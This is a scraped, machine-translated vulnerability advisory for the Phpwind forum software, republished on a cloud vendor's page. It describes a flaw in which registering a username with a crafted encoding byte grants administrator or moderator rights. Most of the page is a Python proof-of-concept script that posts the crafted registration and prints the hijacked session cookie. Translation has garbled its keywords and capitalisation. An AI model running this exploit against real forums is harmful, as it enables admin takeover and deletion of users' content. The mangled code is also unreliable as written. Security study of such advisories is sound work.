Phpwind Management Permission Disclosure Vulnerability Exploit program release _ Vulnerability Research

Source: Internet
Author: User
Vulnerability Release: http://www.80sec.com/
Vulnerability Author: jianxin@80sec.com
Vulnerability Vendor: http://www.phpwind.com/This vulnerability affects all versions of Phpwind
Vulnerability Hazard: High
Vulnerability Description: Phpwind is a very extensive domestic use of a program, due to the existence of errors in the program design, leading to anyone can get the front desk administrator and Spot Master permissions, do delete posts and other arbitrary operation

Use way: Http://www.80sec.com has provided exploit
Vulnerability Analysis: Because the Phpwind forum in the design of the database storage mechanism does not understand, resulting in the logic of the program to judge a problem, with carefully constructed data registered users can get administrative rights
Bug fixes: It is recommended to turn off registration to wait for official patches
Vulnerability Status:
08.5.25 found this vulnerability
08.6.1 exposes this vulnerability by 80sec.com

No patches

Original address: Http://www.80sec.com/release/phpwind-exploit.txt

Vulnerability test:

Copy Code code as follows:

#-*-coding:gb2312-*-
Import Urllib2,httplib,sys
Httplib. Httpconnection.debuglevel = 1
cookies = Urllib2. Httpcookieprocessor ()
Opener = Urllib2.build_opener (cookies)

Def banner ():
Print ""
Print "########################################################"
Print "Phpwind all version management rights disclosure vulnerabilities using POC"
Print "Copyright (C) 2006"
Print "Jianxin@80sec.com"
Print "80sec is a new small group dedicated to web security"
Print "Http://www.80sec.com"

def usage ():
Banner ()
Print "usage:\n"
Print "$./phpwind.py pwforumurl usertoattack\n"
Print "Pwforumurl target forum address like http://www.80sec.com/"
Print "Usertoattack owner or Administrator with permissions on target"
Print "Attack results will register an account with the target user in the target forum."
Print "The latest version can use UID Landing"
Print "Other versions can use Cookie+useragent login"
Print "########################################################"
Print ""

argvs=sys.argv
Usage ()

data = "Regname=%s%s1&regpwd=@80sec&regpwdrepeat=@80sec&regemail=foo@foo.com&regemailtoall=1 &step=2 "% (Argvs[2],"%c1″)
Pwurl = "%s/register.php"% argvs[1]

Request = Urllib2. Request (
url = pwurl,
headers = {' Content-type ': ' application/x-www-form-urlencoded ', ' user-agent ': ' 80sec owned this '},
data = data)

F=opener.open (Request)
Headers=f.headers.dict
cookie=headers["Set-cookie"]
Try
If Cookie.index (' Winduser '):
Print "Exploit success!"
Print "Login with uid password @80sec or Cookie:"
Print Cookie
Print "User-agent:80sec owned this"
Except
Print "error! Http://www.80sec.com "
Print "Connect root#80sec.com"

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.